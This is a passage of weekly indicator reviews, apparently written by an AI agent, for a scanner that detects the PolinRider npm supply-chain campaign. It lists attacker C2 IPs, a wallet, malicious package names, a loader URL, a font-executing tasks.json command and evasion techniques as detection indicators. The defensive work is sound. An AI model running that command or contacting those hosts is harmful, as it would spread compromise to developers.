cannot catch up as fixed strings.</strong> <code>node ./public/fonts/fa-solid-400.woff2</code> is
the only entry covering this vector and it matches neither the 500 nor the 900
variant, both of which are live. A 900-variant payload is caught today only by
the font-magic-bytes check and by the wallet — not by any font indicator — and
a future variant that drops the wallet from plain text, which the 900 build
already does, would be caught by the magic-bytes check alone. Closing this needs
gap 2 above (a regex tier), not more strings.</p>
<p><strong>New gap: no weak tier for filenames.</strong> Third consecutive week this has
blocked an addition (<code>fa-solid-500.woff2</code> and <code>branch_structure.json</code> as a path
this week, <code>config.bat</code> and <code>spellright.dict</code> on 2026-09-14). <code>filenames.txt</code> is
<code>INFECTED</code>-only, so a name that deserves a look but not a verdict has nowhere to
go and ends up either absent or over-classified.</p>
<h2 id="notes">Notes</h2>
<ul>
<li><strong><code>shellcheck</code> is still not installed in this container.</strong> <code>bash -n</code> passes on
every script. This change touches <code>ioc/*.txt</code> data files and Markdown only,
with no shell code changed, so CI’s shellcheck gate is unaffected — but a
future review making a code change still cannot validate it here.</li>
<li>Self-tests: <code>selftest</code>, <code>selftest-implant</code>, <code>selftest-entrypoint</code>,
<code>selftest-nextsteps</code> and <code>selftest-preserve</code> pass. <code>selftest-restore</code>,
<code>selftest-rewrite</code> and <code>selftest-ui</code> fail, and I confirmed they fail
identically in a clean worktree of unmodified <code>origin/main</code>. Unchanged from
the standing note, for the fourth week.</li>
<li><strong>Nothing was added to <code>network.txt</code> this week, so the container’s missing
<code>ss</code>/<code>netstat</code> did not matter.</strong> The classification inconsistency the
2026-09-21 entry raised — TRON and Aptos endpoints in both <code>weak.txt</code> and
<code>network.txt</code>, the Ethereum ones in <code>weak.txt</code> only — is unresolved and
untouched here.</li>
<li>The source post is a single server-rendered HTML page; its pre-formatted
indicator table is why the XOR-key whitespace question above could be stated
precisely rather than guessed at. No PDF extraction was needed this week.</li>
<li>No page, repository or document read during this review attempted to give the
reviewer instructions.</li>
<li>The commits on this branch are <strong>unverified</strong>, for the reason the standing
appendix documents: the container’s signing key is registered to Claude, and
authoring as the maintainer — which is correct — yields <code>unknown_key</code>.
Squash-merge resolves it; GitHub signs the squash commit itself.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 21 September 2026: 8 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-09-21/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-09-21/</guid>
      <pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>The A8- campaign marker, five Ethereum RPC resolvers and two NullReceiver C2 addresses read off the chain. CloudSEK's GHAPPIER report rejected as a separate loader family sharing victims, not infrastructure. Found one PolinRider post the previous week's sweep missed.</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>8 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td><a href="https://github.com/meSingh/polinrider-cleaner/pull/33">#33</a></td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/strong.txt</code>, <code>ioc/weak.txt</code>, <code>ioc/network.txt</code>, <code>ioc/bad-packages.txt</code> (comment block)</td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the third week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09. README still at its 2026-04-11 revision</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes</td>
<td>Two posts inside the 8-day window, neither about PolinRider. One <strong>older</strong> PolinRider post, 2026-08-25, was missed by last week’s read and carries a real IOC section — that is where most of this week’s additions come from</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>One new primary report: CloudSEK’s <strong>GHAPPIER</strong>, published 2026-09-20</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong> — 403, unchanged</td>
<td>Also tried <code>socket.dev/blog/…</code>: 403 as well. Policy of the site, not the sandbox</td>
</tr>
</tbody>
</table>
<p>Also re-checked: <code>thehackernews.com</code> 200, <code>checkmarx.com</code> 200. The widened egress
allowlist recorded on 2026-09-14 still holds.</p>
<p><strong>A correction to how last week’s source sweep was done, not to its findings.</strong>
Last week read the blog for the first time and listed the seven posts it read.
<code>polinrider-npm-case-study-dprk-attack</code> (“NPM Isn’t Prepared For North Korean
PolinRider Attack”, 2026-08-25) was not among them, although it was published
inside the backlog that entry set out to drain, is tagged PolinRider, and ends
with a labelled IOC section. Nothing last week’s entry says is wrong; the sweep
was simply not exhaustive. Five of this week’s eight indicators come from it.
The lesson for the next reviewer is mechanical: enumerate every post whose slug
or title contains <code>polinrider</code> and check it off, rather than following the
posts a previous week happened to name.</p>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved in ten weeks. The blog has, but away from this
campaign: the two posts published inside the window — <code>introducing-weaselbiscuit</code>
and <code>opensourcemalwareshow-episode21</code>, both 2026-09-17 — are about other things.
Episode 21 opens by saying so in as many words (“none of them are about DPRK or
PolinRider”), and its only PolinRider content is a remark that law enforcement
and financial institutions are now taking the campaign seriously.</p>
<p>The campaign itself is demonstrably still running. CloudSEK read the NullReceiver
dead-drop wallet off the Ethereum ledger on 2026-09-16 and found 362 empty
transactions, the most recent published the day before their report, rotating the
C2 configuration roughly every 1,000 blocks (about three hours twenty minutes).
The marker generation has also advanced again: <code>A8-</code> in the August samples,
<code>A9-0204-3</code> in the September one.</p>
<h2 id="added">Added</h2>
<p>Eight indicators, from two named sources read in full.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>global.i="A8-</code></td>
<td><code>strong.txt</code></td>
<td>The campaign-marker assignment, written literally into the payload appended to a config file. Published in three forms (<code>A8-*#</code>, <code>A8-3292-1</code>, <code>A8-3292-2</code>) under the heading “Payload campaign markers (grep-friendly)”, so the shared prefix covers all three. Nothing legitimate assigns a string beginning <code>A8-</code> to <code>global.i</code></td>
<td><a href="https://opensourcemalware.com/blog/polinrider-npm-case-study-dprk-attack">OSM, NPM Isn’t Prepared For North Korean PolinRider Attack</a></td>
</tr>
<tr>
<td><code>1rpc.io</code></td>
<td><code>weak.txt</code></td>
<td>Public Ethereum RPC endpoint the NullReceiver loader walks to read its dead drop. A legitimate service</td>
<td>as above, and <a href="https://www.cloudsek.com/blog/ghappier-malware-loader-npm-supply-chain-attack">CloudSEK, GHAPPIER</a></td>
</tr>
<tr>
<td><code>eth.drpc.org</code></td>
<td><code>weak.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>ethereum-rpc.publicnode.com</code></td>
<td><code>weak.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>eth-mainnet.public.blastapi.io</code></td>
<td><code>weak.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>eth.blockscout.com</code></td>
<td><code>weak.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>193.247.144.38</code></td>
<td><code>network.txt</code></td>
<td>NullReceiver C2, the configuration live on the dead drop 2026-09-04 → 2026-09-15 (70 transactions), decoded from the recipient bytes by reading the chain</td>
<td><a href="https://www.cloudsek.com/blog/ghappier-malware-loader-npm-supply-chain-attack">CloudSEK, GHAPPIER</a></td>
</tr>
<tr>
<td><code>166.88.73.46</code></td>
<td><code>network.txt</code></td>
<td>The preceding configuration, 2026-08-30 → 2026-09-03 (28 transactions). Same <code>/16</code> as the <code>166.88.134.62</code> already carried</td>
<td>as above</td>
</tr>
</tbody>
</table>
<p>Not counted above, because they are comments rather than matchable lines:
three hijacked legitimate npm packages were added to the existing
victim-package comment block in <code>bad-packages.txt</code> — <code>fetch-page-assets</code>
(1.2.9 through 1.2.14), <code>html-to-gutenberg</code> (4.2.11) and
<code>@lambda-platform/lambda-vue</code> (3.3.24). These follow the
<code>@common-stack/generate-plugin</code> convention exactly: the maintainer is a victim,
only specific versions are malicious, and the name alone is not a finding. At
the time of the source’s publication the six <code>fetch-page-assets</code> versions were
still live and unflagged on npm, with 1.2.14 as the latest dist-tag.</p>
<h3 id="the-five-rpc-endpoints-are-in-weaktxt-and-deliberately-not-in-networktxt">The five RPC endpoints are in <code>weak.txt</code> and deliberately not in <code>network.txt</code></h3>
<p>This is the one classification call this week that could reasonably have gone
the other way, so it is written down rather than left implicit.</p>
<p><code>api.trongrid.io</code> and <code>fullnode.mainnet.aptoslabs.com</code> are public blockchain RPC
endpoints and they sit in <strong>both</strong> <code>weak.txt</code> and <code>network.txt</code> today. The
consistent move would have been to put the five Ethereum endpoints in both too.
I did not, for two reasons. <code>network.txt</code> is <code>INFECTED</code>-tier for a live
connection and is explicitly “the list to feed an egress blocklist”; a
JavaScript developer building on Ethereum has a <code>node</code> process talking to these
hosts all day, and blocking them breaks that work. And CloudSEK, listing exactly
these five, writes: <em>“Legitimate services. Alert, do not block. A Node process
on a workstation with no cryptocurrency role resolving these is the signal.”</em>
That is a description of the review tier.</p>
<p>Which leaves a real inconsistency in the set: the TRON and Aptos endpoints are
treated more aggressively than the Ethereum ones on identical reasoning.
Resolving it — promote these five, or demote those two — is a maintainer
decision and no part of it was made here.</p>
<h3 id="verified-against-fixtures">Verified against fixtures</h3>
<p>Built outside the repository working tree and scanned with
<code>ci/scan-workspace.sh</code>:</p>
<ul>
<li>a <code>babel.config.cjs</code> carrying <code>global.i="A8-3292-1"</code> after 509 spaces, as the
source describes it shipping → <strong><code>INFECTED</code>, exit 2</strong></li>
<li>a loader listing the four Ethereum RPC URLs → <strong><code>review</code>, exit 0</strong> (and exit 1
under <code>--fail-on review</code>; review-only exits 0 by default, which I confirmed is
pre-existing behaviour by scanning a fixture carrying only the already-present
weak indicator <code>stdio: 'ignore'</code>)</li>
<li>a <code>.js</code> file listing <code>A8-3292-1</code>, <code>A8-3292-2</code>, <code>A6-420</code> and <code>A10-3</code> as bare
part numbers, with no <code>global.i</code> → <strong>zero findings, exit 0</strong>. This is the
whole reason the indicator carries the <code>global.i="</code> context</li>
<li>a config naming <code>mainnet.infura.io</code> and <code>cloudflare-eth.com</code>, Ethereum RPC
endpoints the campaign does not use → <strong>zero findings, exit 0</strong></li>
</ul>
<p><code>machine-cleanup/check-linux.sh</code> over the same fixture tree independently
flagged the <code>babel.config.cjs</code> through its “build configs with code after the
module end” check and nothing else.</p>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong>The whole GHAPPIER indicator set, except the four NullReceiver values above.</strong>
CloudSEK’s report is the most substantial new PolinRider-adjacent publication
in months, and almost none of it belongs in this repository. GHAPPIER is a
separate, previously unreported loader family — one file, <code>indexe.cjs</code>, byte-
identical across 65 repositories and 22 accounts, fetching its real payload from
<code>primevector-app924560.vercel.app/api/key?mem=&lt;tag&gt;</code>. The report’s own title
places it <em>beside</em> PolinRider, and its attribution table is explicit: “The npm
carrier is part of that campaign — <strong>Not claimed</strong>.” What ties the two is that a
PolinRider payload was found in one of the same victim repositories, watching
the already-published NullReceiver wallet. Two operators hitting one compromised
developer is not evidence that they are one campaign, and a compromised
developer population is exactly where you would expect that overlap.</p>
<p>So these stay out: <code>indexe.cjs</code> and <code>indexe.js</code>, the loader-line string
<code>primevector-app924560.vercel.app/api/key?mem=</code>, the second delivery host
<code>brightlaunch-ext75642.vercel.app</code>, the campaign tags <code>g1028</code> / <code>g0115</code> /
<code>g213515</code> / <code>ghappier</code>, the four loader SHA-256 hashes, the loader header string
<code>Isolated Node preinstall computational kernel</code>, the implant lock filename
<code>vscode-ext.lock</code>, the stage-2 download name <code>tokenlinux.npl</code>, the <code>ss_exec</code>
branch marker, the artifact path <code>$HOME/.npm/.vscode/parser.js</code>, and the
compromised carrier <code>@dforge-core/dforge-mcp@0.2.21</code>. Every one is
attacker-owned and every one would make this scanner report GHAPPIER as
PolinRider.</p>
<p>Contrast this with last week’s ChainVeil and ViteVenom decision, which went the
other way on what looks like a similar question. There, OpenSourceMalware tied
the clusters to PolinRider on five byte-for-byte shared values found <em>inside the
attacker’s own artifacts</em> — two TRON wallets, an Aptos address, two XOR keys.
Here the shared value sits inside a different payload family in a shared victim.
Shared infrastructure in the attacker’s code is campaign membership; shared
victims are not. <strong>Whether this repository’s indicator set should cover loader
families found co-resident with PolinRider is a scope question, and it is the
maintainer’s, not a reviewer’s.</strong> If the answer is yes, the list above is the
change, and it is ready.</p>
<p><strong>The <code>A9-0204-3</code> campaign marker.</strong> This is the current generation and it is
tempting for exactly that reason. CloudSEK recovered it “by decoding the
payload’s string table in an offline container” — it is not a literal in the
file. The A8 markers were published under the heading “grep-friendly” and one is
shown inline in the shipped source; the A9 one is the output of deobfuscation. A
fixed string that cannot appear in a scanned file is worse than no string,
because it makes the set look like it covers a generation it does not. Add it
the week a source publishes a greppable form — and note the whitespace question
then: CloudSEK renders it <code>global.i = "A9-0204-3"</code>, with spaces, where the
August payload is <code>global.i="A8-3292-1"</code> without. I could not tell whether that
difference is real or an artefact of the PDF, which is a second reason not to
guess at a fixed string.</p>
<p><strong>Two SHA-256 hashes that are real, published, and would never fire.</strong>
<code>f5c6be47…a8a61c2f6</code> is the malicious <code>.vscode/tasks.json</code> shipped in all seven
DiogoAngelim repositories and <code>9fbb3112…a1a1eae6</code> is the fake-font payload. Both
are genuine. But <code>hashes.txt</code> is consulted in exactly two places: against paths
listed in <code>implant-paths.txt</code>, and in a sweep restricted to files <strong>larger than
10 MB and smaller than 300 MB</strong> (<code>lib/local-common.sh</code>, <code>check_implants</code>; the
same bounds in <code>check-windows.ps1</code>). A 799-byte <code>tasks.json</code> and a 9 KB <code>.woff2</code>
are outside both. Closing this needs a small-file hash tier keyed to candidate
paths — a scanner change, so a maintainer decision, and a new open gap below.</p>
<p><strong>The dead-drop recipient <code>0xc1f79026c1f7902668656c6c6f6970626f742121</code> and the
<code>helloipbot!!</code> marker.</strong> Last week rejected the one recovered recipient as
disposable by design. This week’s is a <em>different</em> recipient with the same
trailing twelve bytes, which confirms the rejection rather than challenging it:
the address rotates, the trailing marker does not. <code>helloipbot!!</code> still exists
only inside address bytes fetched at runtime, never as text in a scanned file,
so it would still never fire. Both stay out for the same reasons as last week.</p>
<p><strong>The C2 URI paths <code>/0x/cls</code> and <code>/0x/ls</code>.</strong> Published by OpenSourceMalware
alongside the RPC list. They are request paths built at runtime against an
address the loader resolves from the chain; they do not appear in a scanned
file, and <code>weak.txt</code> matches file contents only. Same reasoning as the A9
marker. If the local checks ever inspect live HTTP, these become useful.</p>
<p><strong>The resolver override <code>ETH_RPC_URL</code>.</strong> An environment variable the loader
consults before its endpoint list. It is also the conventional name every
Ethereum tool uses. Not carryable at any tier.</p>
<p><strong>Git blob identifiers.</strong> The August 25 post publishes three SHA-1 blob IDs for
cross-repository tracking (<code>5e226620…</code>, <code>6df5b2c9…</code>, <code>0272b9f2…</code>). There is no
file in <code>ioc/</code> for blob IDs and no check that would read one. A blob-ID tier
would be genuinely useful for the org scanner, which already works with mirrors
— but it is a new file and a new check, so: maintainer.</p>
<p><strong><code>global['r']</code> and <code>global['m']</code>.</strong> The July blast-radius post lists these as
injected globals for both obfuscator variants, beside the <code>global['!']</code> and
<code>global['_V']</code> the set already carries. They are two characters inside a bracket
and minified bundles assign such properties routinely. Too generic for
<code>strong.txt</code>, and in <code>weak.txt</code> they would fire on ordinary builds constantly.
The existing set’s omission of them looks deliberate and it is correct.</p>
<p><strong>The WeaselBiscuit cluster.</strong> <code>introducing-weaselbiscuit</code>, 2026-09-17, is one
of the two posts in the window: sixteen npm packages carrying a new lean Node.js
infostealer, C2 at <code>103.170.217.184:8787</code>, seven <code>api.npoint.io</code> dead-drop
resolvers, second-stage SHA-256 <code>7b15605f…ea5ae5159</code>. OpenSourceMalware rates
its own DPRK attribution “low to moderate” and does not attribute it to
PolinRider at all; the only stated connection is that its numeric per-install
identifiers “mirror the campaign-marker convention seen in the PolinRider
cluster”. A convention in common is not shared infrastructure. Not added, and
recorded here so the next reviewer does not have to re-read the post to reach
the same answer.</p>
<p><strong>The DiogoAngelim repositories and the force-push timestamps.</strong> Seven victim
repositories and two account-wide force-push bursts with GitHub server
timestamps. Victims, and evidence of a specific incident. Neither is an
indicator of anything in someone else’s project.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<p>Nothing genuinely new this week, but one of last week’s four now has a number
attached, and one has a second independent confirmation.</p>
<ol>
<li><strong>The config-size heuristic, with a measurement.</strong> Last week’s technique 4
put the whitespace run at “roughly 280 spaces”. CloudSEK measured the
September sample: the payload sits behind <strong>roughly 509 spaces</strong> on the line
holding the closing <code>export</code> of a <code>postcss.config.mjs</code>, invisible without
scrolling right. The run is getting longer, which argues for a threshold
rather than a constant. <code>ci/scan-workspace.sh</code> already carries <code>length($0) &gt; 500</code> and <code>length($0) &gt; 4000</code> tests; whether the local checks should too is
the open part.</li>
<li><strong>Runtime string assembly to defeat file grep.</strong> The September payload builds
the wallet address from two string literals and rejoins them at runtime,
“so that a search of the file finds neither half”. This is the same pressure
that produced the A9 marker being absent from the file, and it is a standing
argument that string indicators decay while behavioural ones do not. Nothing
to implement; it is context for why the rejections above keep landing the
same way.</li>
<li><strong>Provenance is not integrity, restated.</strong> The compromised
<code>@dforge-core/dforge-mcp</code> release carried valid npm provenance through
GitHub Actions OIDC trusted publishing, and its Sigstore attestation
correctly names the attacker’s commit. Push access was publish access. This
is not a PolinRider technique and needs no check here, but it bears on what
<code>ci/</code> can promise a user about a signed release.</li>
</ol>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward, unchanged and unclosed
in its remaining parts. The one Chrome extension is still unnamed in any
reachable source, and three of the nineteen npm names are still unaccounted for.
I searched specifically for both this week and found only the same secondary
coverage quoting Socket’s counts. socket.dev returned 403 on both the tracker
and the blog post. No change.</p>
<p><strong><code>sass-format</code>, <code>typeorm-encrypt</code> and <code>clsx-tailwind</code>.</strong> Known-malicious,
deliberately unmatched because each is a strict substring of a live legitimate
package and <code>bad-packages.txt</code> is matched with <code>grep -F</code>. Unchanged. Still needs
a whole-name check against a parsed manifest.</p>
<p><strong>The npm CLI persistence has no coverage.</strong> Last week’s highest-value open
item, unchanged: <code>npm/lib/cli.js</code> overwritten with a ~1 MB malicious CLI defeats
the documented cleanup sequence, and nothing here detects it. Blocked on nobody
— the source is read and the mechanism understood. It needs a maintainer to
decide the shape of the check.</p>
<p><strong>New gap: <code>hashes.txt</code> cannot hold a small-file hash.</strong> Both hash sweeps are
bounded to 10 MB–300 MB and are otherwise keyed to <code>implant-paths.txt</code>. Every
hash published for this campaign that is not a second-stage binary — poisoned
<code>tasks.json</code> files, fake-font payloads, loader scripts — is therefore
unusable, and two concrete published examples were turned away this week. The
fix is small and the file’s own header would need rewording, since it currently
promises something broader than the code does.</p>
<p><strong>New gap: no blob-ID tier.</strong> Lower value than the above, but the org scanner
already holds mirrors and a blob ID is the cheapest possible cross-repository
match.</p>
<h2 id="notes">Notes</h2>
<ul>
<li><strong><code>shellcheck</code> is still not installed in this container.</strong> <code>bash -n</code> passes on
every script. This change touches <code>ioc/*.txt</code> data files only, with no shell
code changed, so CI’s shellcheck gate is unaffected — but a future review
making a code change still cannot validate it here.</li>
<li>Self-tests: <code>selftest</code>, <code>selftest-implant</code>, <code>selftest-entrypoint</code>,
<code>selftest-nextsteps</code> and <code>selftest-preserve</code> pass. <code>selftest-restore</code>,
<code>selftest-rewrite</code> and <code>selftest-ui</code> fail, and I confirmed they fail
identically in a clean worktree of unmodified <code>origin/main</code>. Unchanged from
the standing note.</li>
<li><strong><code>network.txt</code> additions could not be exercised here.</strong> The live-connection
check reports “neither <code>ss</code> nor <code>netstat</code> available, skipped” in this
container, so the two new C2 addresses were verified only as well-formed list
entries that the check parses without error. A reviewer with either tool
installed can exercise the path properly.</li>
<li><strong>Reading the CloudSEK report needed work.</strong> The blog page carries no IOC
list; everything of value is in a linked PDF, which uses CIDFontType2
subsetting that neither <code>pdftotext</code> nor <code>poppler</code> is present to handle. I
extracted it with <code>pypdf</code> (which needed its <code>cryptography</code> import stubbed out,
because the container’s <code>cryptography</code> module is broken). Line breaks inside
the PDF’s tables are consequently unreliable, which is why no hash from that
report is transcribed anywhere in this entry.</li>
<li>No page, repository or document read during this review attempted to give the
reviewer instructions. The CloudSEK PDF is marked TLP, which permits
this use.</li>
<li>The commits on this branch are <strong>unverified</strong>, for the reason the standing
appendix documents: the container’s signing key is registered to Claude, and
authoring as the maintainer — which is correct — yields <code>unknown_key</code>.
Squash-merge resolves it; GitHub signs the squash commit itself.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 14 September 2026: 19 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-09-14/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-09-14/</guid>
      <pubDate>Mon, 14 Sep 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>The egress block on the analysis hosts lifted. Drained a backlog: the ChainVeil and ViteVenom npm clusters, the NullReceiver marker, wallet and C2. Three known-malicious names rejected as substrings of real packages. npm-CLI persistence found, not implemented.</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>19 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td><a href="https://github.com/meSingh/polinrider-cleaner/pull/32">#32</a></td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/bad-packages.txt</code>, <code>ioc/strong.txt</code>, <code>ioc/network.txt</code></td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read in full</td>
<td>Unchanged since last week. Latest commit still <code>0a8c9ea</code>, 2026-07-09, the two July 10 victim CSVs. README still at its 2026-04-11 revision</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td><strong>yes — the block has lifted</strong></td>
<td>Reachable for the first time. Read the post index and seven posts in full; see below</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Nothing new published in the window</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong> — still 403 to automated fetches</td>
<td>Read indirectly through search summaries and through The Hacker News’ coverage of it</td>
</tr>
</tbody>
</table>
<p><strong>The egress situation changed this week, and that is the main finding.</strong>
Every third-party analysis host the previous entries recorded as blocked now
returns real content from this environment: <code>opensourcemalware.com</code>,
<code>checkmarx.com</code>, <code>stepsecurity.io</code>, <code>securityonline.info</code> and
<code>thehackernews.com</code>. <code>socket.dev</code> is the one exception, and it refuses
automated fetches by policy rather than by sandbox, exactly as
<code>docs/indicator-reviews/README.md</code> already recorded.</p>
<p>This matters more than a convenience note. The previous entries were written
against a blog nobody could read, and they said so honestly. Everything added
below was published between 2026-07-08 and 2026-08-28 and was sitting behind
that block the whole time. <strong>This is a backlog being drained, not a week of new
campaign activity.</strong> Nothing here was published in the last seven days.</p>
<p>One caveat on the blog: <code>opensourcemalware.com</code> is a client-rendered single
page app, so the bare domain and <code>/blog/rss.xml</code> both return a 2.4 KB shell
with an empty <code>&lt;div id="root"&gt;</code>. Individual post URLs <em>are</em> server-rendered and
return full text. A future review that fetches the domain and concludes “still
blocked” will be wrong — fetch a post path.</p>
<p>Posts read in full this week: the blog index, <code>opensourcemalwareshow-episode20</code>,
<code>opensourcemalwareshow-episode19</code>, <code>developer-guide-getting-over-polinrider</code>,
<code>nullreceiver-dprk-c2-technique</code>,
<code>chainveil-and-vitevenom-dprk-polinrider-campaign</code>,
<code>polinrider-jumps-the-fence</code>, <code>polinrider-caused-dozens-of-npm-and-go-compromises</code>.</p>
<h2 id="upstream-state">Upstream state</h2>
<p>The dossier has not moved. Same commit as last week, same README revision date,
no new CSV.</p>
<p>The <strong>blog</strong> has moved a great deal, and the two obfuscator markers this
repository carries are no longer the whole picture. From the August 13
developer guide, in the project’s own words: the original <code>rmcej%otb%</code> marker
and <code>_$_1e42</code> decoder “gave way to” <code>Cot%3t=shtP</code> and <code>MDy</code> — all four of which
<code>strong.txt</code> already carries — and a third generation now exists under the
NullReceiver branding, with its own marker and a different blockchain.</p>
<p>Scale, for the record, from episode 20 (2026-09-09): over <strong>9,000</strong> confirmed
compromised repositories in the OpenSourceMalware database, against the 4,367
the last entry recorded from July. Episode 20 is the only source published
inside this review’s seven-day window, and it contains no new indicator — the
hosts were at a conference and called it “a quiet news cycle.”</p>
<h2 id="added">Added</h2>
<p>Nineteen indicators, from three named sources I read in full. Every one is
attacker-owned or attacker-controlled; nothing here is a victim’s name.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>tailwindcss-animatics</code></td>
<td><code>bad-packages.txt</code></td>
<td>ChainVeil cluster, attacker-published under <code>successkeyteck</code></td>
<td><a href="https://opensourcemalware.com/blog/chainveil-and-vitevenom-dprk-polinrider-campaign">OSM, ChainVeil and ViteVenom are DPRK’s PolinRider Campaign</a></td>
</tr>
<tr>
<td><code>tailwindcss-animates-kit</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>tailwindcss-merge</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>sass-formats</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>rate-limit-flexible</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>rate-limits-flexible</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>@vite-mcp/vite-type</code></td>
<td><code>bad-packages.txt</code></td>
<td>ViteVenom cluster, attacker-owned scope</td>
<td>as above</td>
</tr>
<tr>
<td><code>@vite-pro/vite-ui</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>@vitets/vite-ts</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>@vite-ts/vite-ui</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>@vite-tab/tab</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>@vite-ln/build-ts</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>@uw010010/vite-tree</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>bianira-ui</code></td>
<td><code>bad-packages.txt</code></td>
<td>DPRK-linked clone of a Tailwind plugin, NullReceiver C2</td>
<td><a href="https://opensourcemalware.com/blog/nullreceiver-dprk-c2-technique">OSM, NullReceiver’s Blank Crypto Transfers</a></td>
</tr>
<tr>
<td><code>fluid-type-ui</code></td>
<td><code>bad-packages.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>node ./public/fonts/fa-solid-400.woff2</code></td>
<td><code>strong.txt</code></td>
<td>The tasks.json command that executes a file presenting as a font. No legitimate reason exists to run a WOFF2 through node</td>
<td><a href="https://opensourcemalware.com/blog/developer-guide-getting-over-polinrider">OSM, A Developer’s Guide to Getting Rid of PolinRider</a></td>
</tr>
<tr>
<td><code>A10-npm3!</code></td>
<td><code>strong.txt</code></td>
<td>NullReceiver campaign marker, published as a detection signature</td>
<td><a href="https://opensourcemalware.com/blog/nullreceiver-dprk-c2-technique">OSM, NullReceiver’s Blank Crypto Transfers</a></td>
</tr>
<tr>
<td><code>0xa322e5f3d311d3080e6f0121063e9adc2490ef1a</code></td>
<td><code>strong.txt</code></td>
<td>The NullReceiver sending wallet. Reused across the campaign, unlike the recipient</td>
<td>as above</td>
</tr>
<tr>
<td><code>166.88.134.62</code></td>
<td><code>network.txt</code></td>
<td>C2 IP decoded from the recipient bytes of the recovered transfer</td>
<td>as above</td>
</tr>
</tbody>
</table>
<p>The ChainVeil and ViteVenom attributions are OpenSourceMalware’s, not
Checkmarx’s. Checkmarx named them as two separate campaigns and explicitly
declined to attribute. OpenSourceMalware tied both to PolinRider on five
byte-for-byte shared values — the two TRON wallets, the Aptos address and both
XOR keys — every one of which <code>strong.txt</code> already carried before this week.
That is why these names belong in <em>this</em> repository’s set and not in a
separate one.</p>
<p>Each of the sixteen npm names was checked against the live registry. All
sixteen exist; the taken-down ones carry npm’s <code>0.0.1-security</code> placeholder,
and the live ones carry exactly the versions the source lists.</p>
<h3 id="verified-against-fixtures">Verified against fixtures</h3>
<p>Scanned outside the repository working tree, with <code>ci/scan-workspace.sh</code>:</p>
<ul>
<li>a <code>package.json</code> depending on <code>@vite-tab/tab</code> and <code>tailwindcss-merge</code> → <code>INFECTED</code> (exit 2)</li>
<li>a <code>.vscode/tasks.json</code> carrying the font-execution command → <code>INFECTED</code> (exit 2)</li>
<li>a file containing <code>A10-npm3!</code> and the wallet → <code>INFECTED</code> (exit 2)</li>
